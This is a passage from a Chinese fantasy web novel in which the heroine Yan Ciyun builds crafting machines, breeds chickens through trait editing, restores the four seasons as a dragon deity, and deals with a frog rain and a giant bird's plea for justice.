之前的[厨房用具]模块和这次的[工匠制造]模块都属于后者。 颜辞云在打开[工匠制作]模块后，第一眼就看到了自己这段时间来一直念叨的东西： 酒桶、罐头瓶、陈酿桶、小型磨粉机、榨油机、织布机、烘干机、烟熏炉、磨坊……等等！ 其中，酒桶可以酿酒、酿醋、做果汁；罐头瓶可以做果酱，做腌菜；陈酿桶可以用来沉淀酒的风味，让滋味更加绵长；磨粉机可以把颜辞云之前晒的海盐和各种香料进行精细加工，另它们变成更美味的调味品；榨油机则能将颜辞云收获的玉米、花生等作物转化为油…… 更重要的是，这些全都是不需要电力就能自动运行的！ 只要有风、有水，有一切运动的能量，这些设备就能够运行起来，而不需要颜辞云再费心费力地特意造个电机厂出来。 换而言之，颜辞云只要往设备里投入原料或作物，一段时间后她就能自动收获产品！ 既然如此——还等什么？！ 颜辞云大喜过望，就像是得到了新玩具的孩子，迫不及待地将工匠制造页面里的所有机器全都做出来了一个样品。 其中，磨坊是风力水力的混合体，颜辞云便将它放在花海裂谷的河边，那里风也大水也大。 颜辞云把这个建筑一放下，它便飞快运行了起来，让颜辞云攒了许久不知道该怎么处理的小麦，三两下就碾成了面粉。 而至于酒桶、罐头瓶、陈酿桶这些，不需要什么动力，只需要干净阴凉的地方放置就好，颜辞云便在裂谷地窖的旁边又开了两个地下室。 其中，第一个挨着冰窖的地下室，用来放置她暂时用不上的陈酿桶，第二个远一点儿的地下室则摆满了酒桶和罐头瓶。 接着，她又按照说明书，往里头塞各种吃不完的蔬菜水果。 萝卜、生菜、黄瓜、玉米、花生、葡萄、梨子、苹果……等等。 也不拘手上有什么，全塞进去就完事了，过几天后她再来收获一波，看哪样好吃就着重做哪样。 这样一来，有酒有肉有菜有零食的美好日子不就来了？ 嘻嘻。 还有织布机和压酪机。 前者是将各种毛转化为布料，后者是将牛羊奶转化为奶酪或芝士。 刚好，颜辞云才建起了畜棚，手上的牛羊毛和牛羊奶多得几乎不知道该怎么处理，那就全塞进这两样机器里，让它们自己慢慢做产品。 而颜辞云只需要负责收获就好。 给颜辞云带来了小惊喜的，是烘干机。 颜辞云在看到这台机器的时候，本来还以为这是什么烘衣服的机器，心里还琢磨着这个东西为什么会跟食品机器混在一块儿，难道不该跟洗衣机配套吗？ 但做出来后才发现，这原来是食物烘干机，是用来做蔬果干的。 颜辞云眼睛一亮：哇，蔬果干！ 说起来，颜辞云其实并不是很爱吃水果，因为水果汁水太多，很容易把手弄得黏黏腻腻的，颜辞云有点讨厌这样的触感。 但换成果干的话，她超爱！ 烘干机是靠风力运行的，但不能像磨坊一样摆在裂谷的旁边，感觉灰尘有点大。 于是颜辞云动作迅速地在建木的树屋上方通风处，又加建了一层烘干房，把里头摆满了烘干机。 可当摆满烘干机后，颜辞云才恍然发现，自己手上的水果本来就不多，刚刚还把它们全都投进酒桶里了……没得说，种水果去！ 于是，为了把烘干机填满，颜辞云又花了一天时间，种了一波水果。 这大概就是所谓的为了这碟醋而包的饺子吧。 至于烟熏机，这台机器和晾肉架的定位稍稍有点冲突了，因为熏肉和晾肉的口味相差也不算很大，在颜辞云已经做了大量晾肉架的前提下，烟熏机就变得不是那么必要。 更何况，烟熏机是需要投入木炭才能运行的，晾肉架则只需要晾晒就好，性价比的高低一眼可见，所以最后，颜辞云只随便做了两台烟熏机放在晾肉房里，充当装饰物，日后吃腻了晾肉想换个口味的话，再临时做熏肉也行。 而最后，也是让颜辞云最苦恼、不知道该怎么处理的，是蛋黄酱机。 颜辞云在上个文明打包调味品的时候，是购买过蛋黄酱的，味道还不错。 但就个人来说，她对这种东西并没有太大偏好，因为除了拌海鲜拼盘外，颜辞云再没有找到蛋黄酱的就业场所。 可不需要是一回事，能不能做、做不做得了又是另一回事！ 这会儿她蛋黄酱机都做出来了，手上却没有合适的能用来做蛋黄酱的蛋……这合适吗？ 不合适！ 于是，一直拖拖拉拉、没有提上日程表的鸡舍的建设，瞬间被颜辞云置顶了。 从很早以前，颜辞云其实就想要养鸡了。 但这个想法一直没能实现，因为这儿长得和鸡相似的动物，全都千奇百怪的，没一个适合驯养。 颜辞云也想过，要不然干脆等自己的手工能力突飞猛进后，再用【改造】这个技能，在大地上凭空捏出一个适合驯养和食用的鸡鸭禽类。 可当畜棚建成后，颜辞云看着畜棚界面的建筑升级功能，一个新的想法在脑中出现： 如今自己的手工能力，远远不足以支撑【改造】技能捏出一个新物种来。 可2级的鸡舍，不就自带对建筑内动物的强化和改造吗？ 颜辞云可不是凭空乱想的。 看，在牛棚和羊圈的升级界面里，就分别有“可对牛棚牲畜进行针对性改造和强化”和“可对羊圈牲畜进行针对性改造和强化”的说明。 那么2级鸡舍可以修改物种的进化方向，不也是很正常的事吗？ 说干就干！ 颜辞云早就盯上了北边沼泽区的角鹰，只不过觉得这些家伙太过凶悍且肉质平平，这才迟迟懒得开启驯养之路。 但在有了鸡舍这样的神奇建筑作为支持后，颜辞云直接在沼泽区和湖泊群系的边缘处圈了一块地，放下鸡舍，升到2级，接着又捉了两只角鹰，投入鸡舍- 【鸡舍（2级）】 【当前容量：2/10】 【建筑每日消耗：24单位炁】 【建筑每日出产物（可选）：4枚蛋/只；20斤蛊雕肉/只；2羽毛/只】 【当前自带建筑：禽类特性修饰房】 【建筑2→3可获得效果：1、鸡舍产品每日产量翻倍；2、鸡舍产品品质大幅提升；3、增添肥料房，可将鸡舍内的排泄物自动转化为肥料】- ——禽类特性修饰房！ 对，就是这个！ 颜辞云立即将两只角鹰——哦，系统说它们叫蛊雕——提起来，丢进禽类特性修饰房里。 下一秒，一个崭新的页面弹出，无数神奇的“基因特性”，以文字的形式在颜辞云眼前刷新。 颜辞云：“……哇！” 所谓的特性修饰房，竟然是基因特性修饰？ 厉害了！ 第77章 四季 “要有四季。”…… 颜辞云定睛细看，发现这个禽类特性修饰房的页面上虽然“特性”极多，可绝大部分都是灰色的，表示无法被选取，而页面最底端的“特性修饰点数”，则显示为0。 颜辞云移动目光，落在蛊雕身上，发现此刻的蛊雕身上有三个特性标签。 【沼泽石原偏好（0）：这个物种喜欢居住在沼泽和石原上，当它们居住在此地时，它们的繁殖与生产活动的效率将提高20%】 【顽固好战（-2）：这个物种性格顽固，不知变通，并十分好战，极少逃亡。开智速度-50%，伤害+20%，死亡率+30%】 【坚皮利爪（+2）：这个物种天生拥有强健的体魄和高效的攻击手段。防御+20%，伤害+20%】 颜辞云看得惊讶极了，没想到这小小蛊雕竟然还是天生的战士。 明明前些时候她还看到这群走地鸡被水猴子和蜘蛛打得满地乱滚来着……不过话说回来，这些特性括号里的数字又是什么意思？ 颜辞云伸手轻轻一点，而后发现蛊雕身上的特性标签竟然是可以拖动的。 于是她将【顽固好战】这个看起来就不太妙的特性拖出来，放在一边。 这一刻，页面底端的特性修饰点数跳动了一下，从“0”跳到了“-2”。 颜辞云：“啊？” 颜辞云接着把【坚皮利爪】这个特性也拖了出来，于是特性修饰点数又从“-2”跳到了“0”，并且与此同时，底部也出现了一个【保存】按钮。 颜辞云看着这一幕，恍有所悟。 “所以……带负号的是负面特质，带加号的是正面特质……” 而只要令这个物种的负面特质和正面特质保持平衡，也就是让“特性修饰点数”保持在零这个数值上，那么这一次的特性修改，就是可以成功的？ 有、有点好玩欸…… 颜辞云看着特性栏里超多的特性标签，不由得见猎心喜，飞快翻找起了想要给蛊雕赋予的标签。 首先，把【沼泽石原偏好（0）】摘掉，变成【安居（0）】。 【安居（0）：这个物种不喜欢颠沛流离的生活，更倾向居住在建筑物里。当它们拥有稳定的生活环境时，它们的繁殖与生产活动的效率将提高20%】 接下来，加上【美味（1）】、【快速繁殖（2）】、【纤弱（-1）】和【愚笨（-2）】，这样一来，一个全新的、适合驯养和食用的物种，就出炉了！ 【美味（1）：这个物种是公认的口感良好、营养丰富、适合使用的生物。出产食物品质+15%】 【快速繁殖（2）：这个物种的繁殖周期极短，这让它们族群的扩张速度极快。繁殖+30%】 【纤弱（-1）：这个物种的肉身比一般生物要弱小。防御-10%，伤害-10%】 【愚笨（-2）：这个物种不善于从自身经历中学到知识。开智速度-30%】 事实上，如果不是蛊雕的标签栏只有五个空格，颜辞云是可以填充更多的，但她仔细想想后，又觉得没有这个必要。 毕竟，作为被圈养被食用的生物，它们只要好吃和生得快就够了，其它的都不重要。 选中了这五个特性标签后，颜辞云按下保存。 一个弹窗跳出。 【是否消耗100单位炁对此物种进行改造？】 【是/否】 颜辞云：“……” 100单位的炁，改造一只小鸡？！ 这价格比她之前当小怪兽时的身价还要贵啊！ 如果不是颜辞云现在拥有的炁总量突破了3000单位，如果不是因为颜辞云知道这样的改造是一劳永逸的，日后等这群小鸡一繁殖起来她就再不用琢磨这事儿了，她可真的要觉得这系统在抢钱了！ 颜辞云运了运气，点下【是】。 而下一秒，颜辞云便清楚看到，有一缕缕轻雾从她指尖幽幽飘出，向那只被固定在特性修饰房里的蛊雕缠绕而去，一圈又一圈。 第一圈时，蛊雕健壮得近乎蠢笨的外形逐渐变得轻巧，能轻易撕裂皮肉骨骼的利爪也开始退化； 第二圈时，蛊雕从一只凶恶的巨鹰渐渐变成了颜辞云熟悉的野鸡的外型，而它那双浑浊又凶恶的眼睛，也慢慢变得迷茫清澈； 第三圈时，曾经凶恶蛮横、顽固好战的蛊雕，彻底成为了颜辞云熟悉的家养鸡的模样，而对方那曾经倍感瘆人的婴儿叫声，也变成了熟悉的咕咕咕。 ——搞定！ 颜辞云把第二只蛊雕也如法炮制，变成家养鸡后，就把这一公一母丢在鸡舍里，把它们的每日生产物都变成了蛋，准备把它们放置一段时间，让它们全力下蛋孵蛋，先把这个鸡舍填满再说。 之后，颜辞云马不停蹄，又开始了自己的探索之路，准备找到鸭子的替代品后，再建一个鸭房出来。 当然，还有猪。 在穿越的这一年多来，颜辞云什么肉都吃过了，就连蜘蛛肉都吃了，就是没吃过猪肉。 这让颜辞云实在想念得慌。 红烧肉，五花肉，糖醋排骨，小酥肉，水煮肉片，辣椒炒肉，叉烧肉，回锅肉，酱爆肉……嘶溜。 颜辞云咽了咽口水，跑得越发勤快了。 就这样，颜辞云早晨六点醒来，第一件事，起床收获烘干房、晾肉房、磨坊酒坊、畜棚鸡舍等各建筑和机器的产物后，再看情况投入下批的生产原料，又或者是再黑土地上洒下种子，种植相应作物，等待后续的收获与加工； 接着，一整个白天的时间，如果天气不错的话，那就带着小白出门乱逛，见到啥新鲜生物了，就捉一只来吃，主打一个吃遍天下； 傍晚过后，顶着猫回程，在活动室里练习木雕、泥塑，甚至是绘画，又或者用制作台做一点箫笛琴之类的乐器，在瑟瑟晚风里对月弹琴。乐音好不好听是其次，主打的就是一个氛围感。 最后，在晚上十点左右，收工睡觉。 日复一日，年复一年。 颜辞云不知道别人过着这样的生活会如何，至少她感到自己的日子实在是有滋有味，过得自在快乐极了。 因为她并不太需要社交，或者说这样远离人群、离群索居，只与花鸟相伴、野兽为伍的日子，才是真正让她感到舒适的环境。如果真的想要跟谁说说话，小白甚至相繇三头犬，都是很好的选择。它们都很聪明，并且性格迥异，给出的回应也十分有趣。 她日常的工作也并不繁重，不会让她感到厌恶烦躁。其实颜辞云觉得，人类或许并不是真正讨厌劳动的生物，人类讨厌的，其实是重复而毫无意义、不但不能实现自身价值，反而让自己配得感极低的劳动。 而在这样的日子里，她的生活或许没有精致入微的享受，没有众星捧月的服侍，既没办法呼朋唤友，展露自己力量、美貌、权势、财力等方面的优越，也没办法被众人瞩目，在人群中成为那个翻云覆雨的领导者，闯荡出一番天地、一番事业，名留青史，受万古传颂…… 可她本就不需要这些。 她不需要证明自己的价值，也不需要太多的精致享受。 人活一世，也不过穿一身衣服、吃一日三餐、睡七尺之地。 她既不缺吃喝不缺穿戴，甚至也不缺玩乐，她把自己的身心都照顾得很好。 她当下所做的一切，也并不是被生计所迫，而全都是她喜欢去做、且全心全意想要做完做好的事。 这样的日子，还有什么好遗憾和不满的呢？ 在这样的满足感中，颜辞云感到自己进入了一个极奇妙的状态。 有时候，她感到自己似乎与天地星辰日月山河都融为了一体。那山河日月是她，天地星辰是她，飞鸟走兽是她，游鱼虫豸也是她。 有时候，她又感到自己似乎是一个居高临下的旁观者、俯瞰世界的玩家，以无限高无限远的视角，垂眼俯视着大地上包括她自己的一切生灵和变化。 她像是一，又像是万。 像是真切地存在着，又像虚无的镜花水月。 而就在这样的奇妙状态中，颜辞云又一次迎来了年兽。 只不过，这一次，能力与去年有了天翻地覆的变化的颜辞云，不再像是第一次遇见年兽时那样懵懂不安，一无所知，反而对年兽出现的整个过程都看得极其清楚。 就和颜辞云之前猜想过的一样，年兽其实并不是大地上那些会真正经历生老病死的物种，而是由世界离散在空气中的炁，在经过一定时间的酝酿和孕育后，孵化出的特殊生命，和那群由炁孕育出来的兔子鬣狗是同一种性质。 而更简单点理解就是，年兽是特殊的世界性BOSS，一到某个时间点后，就会定点刷新。 所以，此刻，在进入冬季的第四个月时，年兽再一次出现在了大地上。 时间也好，地点也好，都和它去年出现的时候差不多。 甚至它出现后的反应，也和去年差不离——在左顾右盼了一小会儿后，它很快锁定了建木的位置，踩着沉重的脚步向树屋的方向走来。 这年兽，笨拙、凶恶，愚蠢且难以沟通。 在“鱼的记忆只有七秒”的传闻都被击破后，“年兽的记忆只有七秒”却是颜辞云亲自确认过的。 因此，颜辞云根本懒得跟这恶兽沟通，也不夺走它的性命，只是站在树屋面向年兽方向的窗前，轻轻朝那恶兽吹了口气。 呼—— 小小的一口气，竟迎风而长，越来越大，越来越强。 而当它来到年兽面前时，它更是瞬间暴涨了数百倍，直接化作了天灾的飓风，将那看起来就沉重极了的年兽卷挟起来，夹在腋下，一个冲刺，一路向北。 “嗷嗷嗷嗷！” 被飓风卷走的年兽在这一刻发出惊慌失措的嗷呜大叫，就像是在说“我一定会回来的”。 但树屋里的颜辞云，此刻却早已经关上了窗。 她再没有向年兽那边投去一眼，甚至也没有多花一秒工夫去思考自己为什么突然能够呼风唤雨，便再一次沉浸在了那奇妙的、悠游无我的状态中。 进入冬季后的第五个月，也就是颜辞云沉浸在无我无他的状态下的一个月后，冬季结束了。 紧随着冬季到来的，应当是短暂却又强烈的雨季。 按照惯例，这一次，水火两炁依然会在遥远的雷山上进行悍然碰撞，以一种迎接世界毁灭的激烈程度将雨季唤醒。 并且，它们的交锋还会着重“照顾”一下颜辞云这位外地人，争取把水火两炁的所有溅射伤害统统抛到颜辞云这边来。 之前，只不过是小卡拉米的颜辞云，是拿这样的水火两炁没有办法，只能仍由它们在自己头上丢□□和火雷。 但这一次，颜辞云可不惯着它们了！ 几乎在那漫天的蓝与席卷的红将天地分割的瞬间，颜辞云就出现在了空中，摇身一变，化作遮天蔽日的庞然巨龙。 她看着远方的水火两炁，毫不犹豫，张开巨口—— 呼！ 第一秒，飓风乍起，雷云骤生。 就像是万千野兽在天穹同时发出悍然咆哮，那可怕的巨响令天地都为之震颤！ 第二秒，一道又一道的龙卷风，在雷山脚下凭空生成。 它们胡乱地席卷，横冲直撞，将那从天而降的水炁也好、从地而生的火炁也好，都挤得七零八落，溃不成军！ 第三秒，曾经悍然无匹的水炁和火炁，就像是中计后溃逃的游兵散勇，慌张地四散奔逃。 于是当颜辞云一个吸气，将龙卷风吞回时，这些风便夹杂着水与火，尽数投入颜辞云口中，如乳燕投林！ 第四秒，第五秒。 第六秒！ 那曾经让颜辞云以为不可动摇、无可匹敌的两道暴烈之炁，就这样消弭于她的口中。 第七秒。 颜辞云灵台越发清明。她感到，自她化身应龙后就必然会袭来到的虚弱感和缺失感，在此刻消散了许多，似乎是被这两道炁补足了大半。 她恍有所悟，打开了自己的技能面板。 【应龙（限制）：掌管四季与山河的神明，最初的雷神和水神。虽然死前的它被夺走了大部分力量，但经过你的不懈努力，你寻回了它曾经的大部分辉光。】 第八秒。 颜辞云看着身下似乎定格在冬季的世界，没有耽搁时间，张口吐出雨云，吐出雷云。 当第一声惊雷在空中炸响时，她俯视脚下的山河，说： “要有四季。” 于是，紊乱暴烈的时序，在这一刻被悍然推回轨道。 真正的四季回到人间。 第78章 怪雨 放心吧，天神大人一定…… 轰隆！ 当第一声春雷在大地上响起后，细润的春雨便漫天泼洒下来，飘飘扬扬，润物无声。 是颜辞云最喜欢在室内欣赏的那种雨。 并且，这场雨持续的时间也并不长，只不过短短半天就停下了，与去年持续了整整十五天的狂风暴雨不是一个水准的。 而当春雨停下后，颜辞云在大地上漫步，鼻尖嗅到的是青草混合着泥土的湿润气息，耳畔捕捉到的是远方鸟儿传来的悠扬歌声。 甚至就连皮肤上附着的湿润水汽，都显得是那样可爱。 因为这一切的一切，都代表着暴躁紊乱的时序远去了，还代表着颜辞云熟悉的适合生命繁衍生长的四季，正式到来。 而当季节的更替变得稳定且平和后，日后，这片大地上活下来的生物，也一定会更多更丰富吧？ 抱着这样的淡淡喜悦，颜辞云回到了自己的树屋，再次投入到了自己有滋有味的生活中，并抽空把树屋以及建木都建设起来。 说起来，颜辞云的建木及建木上的树屋，都已经许久没升级过了。 之前不升级建木，是因为这颗建木基本是靠金子砸出来的——金子给息土超级加倍，而建木靠息土突破界限——而颜辞云舍不得自己手上本就数量不多的金子。 但如今，当颜辞云发现陨铁坑和坑里的食铁鼠鼠们，并摇身变作强盗，定时定点打劫这群鼠鼠们后，颜辞云的身价便翻着番地长，自然也不再吝于那点儿金子了。 所以之后的颜辞云没有升级建木，只是单纯的，忘了。 因此，这一天，春季的某个早晨。 当颜辞云恰好从储物箱里翻到了金块，又恰好瞧见了脚下的建木树底的息土后，她松开手，金子落入地上的息壤，原本就在大地上显得足够高足够大的建木，也再一次开始了生长。 两千米，三千米，四千米！ 颜辞云并没有将建木一口气催长太过，只让它堪堪超过沙漠中心的扶桑木的高度，就暂且停下了。 之后，颜辞云便打开建筑区块，再次翻出了【九重天】的图纸，准备对照着图纸，把之前用不到的屋子建上，比如说书房乐室，木工房泥塑屋，观星台望月阁之类。 反正现在物质上有条件，而她也腿长跑得快，哪怕逛一座阿房宫，都只是多走两步的事……能建多建点呗。 虽然，颜辞云之前拜访过的那个毁灭的文明也叫【九重天】这件事，让颜辞云觉得稍稍有点儿晦气，但没关系，这座九重天可不是什么赛博修仙的文明，也不会像那个文明那样，挤挤挨挨地堆满了人与利益与欲望与丑恶。 这是她的自留地。 是只有她一个人的温馨“小屋”！ 颜辞云想得很好，建房的欲望也很高，但遇见的问题却一点不少。 其中，建房所消耗的炁和基础物资，倒还好说，哪怕一时半会儿没有的，颜辞云在大地上多逛逛也能找见。 可其它的一些东西就让颜辞云很摸不着头脑了。 比如说，谁能告诉她，为什么建一个观星台还要用到“万里江山无尽图”？ 像观星台这种东西，一般来说不是搭个高一点儿的台子就行了么？ 又比如说，当颜辞云在图纸上相中一间漂亮琴室，想要复刻到自己的树屋上时，系统竟然提示她缺少一颗七彩梧桐？ 搞什么啊，什么七彩梧桐，从来没听过啊！ 以及颜辞云准备建出来附庸风雅、不，陶冶情操的书房，竟然需要“玲珑百窍心”？ 说真的这到底是什么东西？该不会真的是某种生物的心脏吧？ 颜辞云一路看，一路懵，绞尽脑汁地思考自己过往探寻大地时的见闻，想要从自己脑袋里找出能与这些名称挨边的东西。 但，没等颜辞云整理清楚自己的记忆和思绪，又一场雨到来了。 并且这场雨，格外不凡。 当劈里啪啦的声音再次从漂亮明净的玻璃窗上响起时，颜辞云还没太将这件事放在心上，毕竟春天就是这样雨水丰沛，降雨频率比任何季节都要高。 可很快的，颜辞云就发现窗户上传来的声音有些异常，并不仅仅是雨水敲窗的清脆之音，而是带上了沉重闷响。 就像是有什么人在拿泥块砸她家玻璃。 ——谁啊这么缺德？ 她都荒野求生了，怎么还能遇到泥巴砸玻璃的熊孩子呢？ 颜辞云狐疑来到窗前，定睛一看，就与一只死死黏在玻璃窗上的青蛙对上了眼。 颜辞云茫然眨了眨眼： 自己这栋树屋，不是建在树上的么？ 她还记得，树屋初建时，最底层的房间就离地一百余米，后来，随着她将建木催长到三千米后，树屋的高度也随之上升，最底层的房间与地面的距离也来到了三百多米。 所以这青蛙，是怎么趴在离地三四百米高的树屋窗户上的？ 不对。 她的树屋附近好像也没有池塘吧？这青蛙哪儿来的？ 不对。 这片土地上什么时候出现青蛙了？！ 颜辞云一念三转，越想越觉得这只青蛙出现的时机地点不同寻常，越想越觉得一定是有某件她意料之外的事发生了！ 而很快的，颜辞云就知道发生了什么。 ——青蛙雨！ 在颜辞云目瞪口呆的注视下，越来越多的青蛙从天而降，如雨水一样劈里啪啦地砸在她的窗户上。 幸运的，在掉下去之前就牢牢攀住了她的窗户；而不幸的，要么是没把握住黏上窗户的时机就掉下去了，要么是被其它的天降青蛙给砸了下去。 颜辞云：“这、你、不是——” 怎会如此啊！ 怎么会有青蛙和雨一样，是从天上掉下来的啊？！ 颜辞云走出树屋，化身为龙，飞上天空，目光巡视大地。 只见此刻，在颜辞云身处的这块大陆上，被雨云遮蔽的天空十去其六，而除了颜辞云所在的青丘有建木稍稍阻拦了一些青蛙的降落，让青丘上的青蛙灾难不那么明显之外，其它地方的青蛙竟都和雨水一样漫山遍野！ 那些稳稳落入湖泊、沼泽、河流和海洋之中的青蛙还好，一入水就安安静静的，自己找了个地方趴着去了，一副与世无争的模样。 可那些落在草原、山野甚至石原和陨铁坑里的青蛙们，不但没有因高空降落而跌死，甚至露出了一副难得的凶悍面貌，与原住民们大打出手。 颜辞云只是低头一瞧，就看到了蹬兔子的青蛙，蹬鬣狗的青蛙，蹬牛羊的青蛙…… 甚至就连石原上凶恶的相繇与蛮横的三头犬，这群青蛙都不自量力地围上去一顿猛蹬，哪怕被相繇和三头犬愤而拍死大片，却又仗着数量众多，前赴后继地上来蹬蹬蹬。 蹬蹬蹬，蹬蹬蹬。 颜辞云真是服了这群小蹬。 说真的，它们到底哪儿来的？ 抱着这样的疑惑，颜辞云一头扎入雨云，左瞧右瞧，愣是没在雨云里瞧见什么青蛙。 可当颜辞云将头探出后，却又清楚看到无数青蛙随着雨水飘扬而下。 颜辞云眉头一皱，突然想到了一件事： 说起来，这片土地上的每次换季，基本都会增加一个或数个新物种。 而这些新物种，其实都是由炁演化而来的。 如今，颜辞云面前的这些青蛙，出现时机符合“换季”这个条件，又是大地上没有出现过的“新物种”……所以，莫非是颜辞云之前为了换季而吐出的那口雨云出了什么问题，这才令普普通通的“雨云”变成了“青蛙雨云”？ 是吧？ 问题应该就出在这里吧？ 可……要怎么解决呢？ 新上任的四季神明换季业务可不太熟练啊！ 颜辞云落回建木，坐在建木密实的树冠上，一边看着满天降落的小蹬，一边用尾巴忧愁地拍打树叶。 虽然青蛙还挺好吃的，能为大地多增加一种生物和美食她也挺开心，但将目光放长远一点—— 如今，这个世界的春季已经变回了正常长度，日后春雨出现的频率也是肉眼可见的高，而这些青蛙都是随着春雨落下的。 提问，如果日后的春雨都变成了青蛙雨怎么办？ 别人世界里的春天，是和风细雨，是“随风潜入夜，润物细无声”“春雨濛濛不见天，家家门外柳和烟”的迷蒙意境，结果到她这儿了，就是满满的青蛙和满满的小蹬……不行！ 万万不可啊！ 颜辞云愁眉苦脸，冥思苦想，思考自己施云布雨时到底哪个细节出了错，这才把好好的春雨变成了青蛙雨。 是她吐出雨云时的水炁不够纯净吗？ 是她吐出雷云时的雷炁太过暴烈吗？ 还是她对炁的精细操控不够，出了点儿别的变化？ 没等颜辞云想明白这个问题，蓦地，她心念一动，感到遥远的北方，有什么东西正在向颜辞云所在的这块大陆飞了过来。 在成为应龙后，颜辞云就探索过自己脚下这块被她命名为“金丘”的土地，知晓金丘是一块面积极广的大陆，也知道在金丘之外，南北各有一块隔海相望的大陆。 北边的大陆，是一望无际的沙漠，南边的则是漫山遍野的焦土。 都是颜辞云不太感兴趣的生命荒漠。 再加上颜辞云所在的金丘都还有许多细节没有走遍，她便也没有急不可耐地扩展自己的探索范围，只在金丘的海岸边瞧了两眼就止步了。 可如今，北边的大陆竟然有生物主动跨越广袤的海域，来到她的金丘？ 颜辞云好奇抬头看去。 而下一秒，在看清那飞来的东西时，她瞳孔一缩，呼吸一滞。 “怎么、怎么会……” 在颜辞云的视线尽头，一片不可思议的黑云，带着动荡不安的云彩，极速掠来。 它的翅膀遮天蔽日，张开时好似天狗食日，而在它的翅膀扇动间，暴风凭空而起，乌云向它俯首，就连日光都似乎在避开道路！ “——是它？！” 是的，正是颜辞云第一天穿越时就见过的那只巨鸟。 并且—— 它的目标竟极为明确，径直向颜辞云飞来！ 颜辞云张了张嘴，欲言又止。 干什么呢你们？ 怎么你们这群巨兽现身后的第一反应，无一例外都是来搞她？ 这么看不起外地人的吗？ 地方保护主义这么严重的吗？ 但别忘了，现在的她可不是什么无依无靠的外地人了，她已经取得了本地神籍，是当之无愧的本地神灵！ 想到这里，颜辞云甚至都懒得变声应龙，只以蛇身飞起，手上一重，邪龙噬雷枪便落入掌中，无畏迎上。 是的，在颜辞云曾经的记忆中，这只巨鸟是如此不可思议，是遥远得在梦中都难以接近的生命。 可对于如今能化身万万丈长的应龙的颜辞云来说，所谓的“鲲鹏”，也只不过不过是小小宠物罢了，如果它敢像年兽一样乱来，她一定—— 还没等颜辞云的思绪抵达尽头，下一秒，颜辞云就看到那巨鸟一个滑跪，噗通趴在了她的面前。 颜辞云：“……” “呀！呀呀！呀！” 这只巨鸟发出了像鸟又像鸭子的声音，圆溜溜的眼睛含着超委屈的泪光，呱呱不停，像是在向颜辞云诉说着什么。 诡异的是，颜辞云还真的听懂了。 把这只巨鸟的呱呱声大致翻译一下，那就是： 尊贵的天神，上个月有只可恨的大狗挟着飓风来到我家，把我家里的蛋偷走了一个，但那时候它跑得太快了，我就没跟它多计较……但前两天，它竟然又冲到我家里来偷蛋了！狗可忍鸟不可忍，天神大人，请你一定要为我做主啊！！ 颜辞云敏锐察觉要素。 一只挟着飓风，飞到北边的……大“狗”？ 或者说，被飓风卷到北方大陆的犬型生物？ 颜辞云镇定地轻轻擦了擦头上的细汗，沉着表示： 真是可恶啊，世上怎会有如此无耻的偷蛋狗呢。 放心吧，天神大人一定给你做主！ 第79章 调停 原来，这一切竟然在这…… 从威风凛凛不落凡尘的鲲鹏，到被恶狗偷蛋的受害鸟。 从渺小如尘埃不被看见的凡人，到主持公道的天神大人。 这一切的转变都是如此自然。 前者是想象不到，后者是不放在心上。 所以，哪怕颜辞云没有想到自己在接受了应龙的一切神职后，竟还要兼职一些巨兽间的调停工作，但她也是迅速代入了身份，和小白嘱咐了两句，让小白留在树屋看家后，自己就独自与疑似鲲鹏的巨鸟去了北边大陆。 也不知道是不是错觉，颜辞云感到自己这一次的出门格外顺利。 主要是那只一直很闹腾、喜欢跟着颜辞云出门旅行的小白，这次一反常态的安静，像是不知道颜辞云要出门一样，一直低头舔毛。 ——一副看似漠不关心，实则非常心虚的怪样子。 毕竟小猫咪在心虚的时候总会装作很忙。 为此，在与巨鸟向北飞行的路上，颜辞云不由得在心里反复琢磨这事，思考小白这只小猫咪到底又背着她惹了什么祸，才会摆出这种怂怂的态度。 是偷偷把她摆在展览厅里的木雕拿去磨爪子了？还是把铺在地上当毛毯的毛皮给咬坏了？ 是趁着她出门巡视生产建筑的时候把室内的蜂蜜和蘑菇偷吃了？还是又趴在农田里睡大觉，压得作物都没法正常生长了？ 小猫咪就是看起来一脸无辜，实则有一肚子的坏心眼，平日里养猫的时候就是得千防万防才行。 但最后，还是同行的那只巨鸟一语惊醒梦中人。 【天神大人，这次出门您不带上居委干部吗？】 巨鸟那怪异的呱呱声，落在颜辞云耳中后，被自动转化为了相应信息。 但颜辞云觉得这样的转化颇为僵硬，像是被某个不太好用的翻译软件给过了一遍，输出了一些颜辞云大致能够理解、但不一定贴切的信息。 俗称机翻。 最简单的例子就是巨鸟口中的“居委干部”——一只生活在原始时代的野兽怎么可能说得出“居委干部”这种词？ 机翻！ 绝对是机翻！ 颜辞云追问道：“你说的‘居委干部’具体指什么？” 巨鸟解释了起来。 原来，别看这个世界一片荒凉，但最初时，这里其实是有过粗糙的秩序的。 虽然这样的“秩序”，无非是最强者镇守世界，其它巨兽老老实实别做妖，真想搞事前记得给最强者托个话，最强者想插手的话就派出“居委干部”来调停，不想插手就让下头的巨兽自己打架……这样子。 但无论如何，只要有人在管，那就算是有“秩序”。 而那个管理的最强者，久而久之就被称作“天神”，被最强者派出的调停员，就被称作“居委干部”……不，还是叫刑罚使好了。 只不过，不知道从什么时候开始，更精细的秩序和更复杂的等级出现了，大地上的各路恶兽们开始聚族而居。它们的力量随着数量的膨胀而迅速提升，占领的地盘飞速扩张，与其它族群的矛盾和摩擦也越来越多、越来越大。 而随着力量的壮大、矛盾的增多，它们开始不服天神粗糙的放养，不服自己的头上竟然还有一个更强大的存在压着，于是某一天，它们联合起来，背叛了那位曾经的天神。 天神虽然被称为天神，但到底不是真正的神灵，不是那种规则不灭身不死的存在，因此很快的，天神倒下了，大地因此裂开，分为八州八山，每一州每一山都以极遥远的海洋隔开，以此来勉强维持大地的和平。 这位曾经被称为“天神”的最强者，正是被颜辞云所吞食的应龙。 并且，随着四季的回归，大地上的所有异兽也心有所感：天神归位了！ ——一个老套到颜辞云听都懒得听的故事。 不过，至少，经过巨鸟的解释后，颜辞云也算是明白了“刑罚使”的意思，并对这个世界有了最基础的了解。 说来也是不可思议，颜辞云都穿越一年半了，甚至连曾经的天神都进了她的锅，结果她对这个世界对这片大陆的了解依然不多。 这样的结果，既是因为颜辞云身处的世界太广，陆地也好海洋也好，都宽广得不行，不是一时半会儿能探索完的，但也跟颜辞云的宅女性格有着脱不了的关系。 在现代社会，或许足不出户的就叫宅女了。 但在这个蛮荒时代，只顾着脚下一亩三分地而不出海探索新大陆的，才叫宅女！ 想想也十分离谱。 她一个一天来回跑个十万八千里路的人，竟然也能被称为宅女了，你们这方世界的地儿这么大是不是也不太好哇？ 